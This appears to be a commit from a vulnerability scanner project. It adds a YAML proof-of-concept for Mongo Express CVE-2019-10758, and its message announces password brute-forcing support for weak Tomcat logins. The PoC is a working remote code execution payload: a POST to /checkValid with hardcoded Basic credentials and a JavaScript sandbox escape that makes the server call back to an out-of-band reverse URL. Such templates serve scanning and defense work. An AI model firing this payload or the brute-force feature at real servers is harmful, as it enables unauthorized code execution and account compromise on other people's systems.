修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml

WebScan/pocs/mongo-express-cve-2019-10758.yml

@@ -0,0 +1,21 @@
+name: poc-yaml-mongo-express-cve-2019-10758
+set:
+  reverse: newReverse()
+  reverseURL: reverse.url
+rules:
+  - method: POST
+    path: /checkValid
+    headers:
+      Authorization: Basic YWRtaW46cGFzcw==
+    body: >-
+      document=this.constructor.constructor('return process')().mainModule.require('http').get('{{reverseURL}}')
+    follow_redirects: true
+    expression: >
+      reverse.wait(5)
+detail:
+  vulnpath: '/checkValid'
+  author: fnmsd(https://github.com/fnmsd)
+  description: 'Mongo Express CVE-2019-10758 Code Execution'
+  links:
+    - https://github.com/masahiro331/CVE-2019-10758
+    - https://www.twilio.com/blog/2017/08/http-requests-in-node-js.html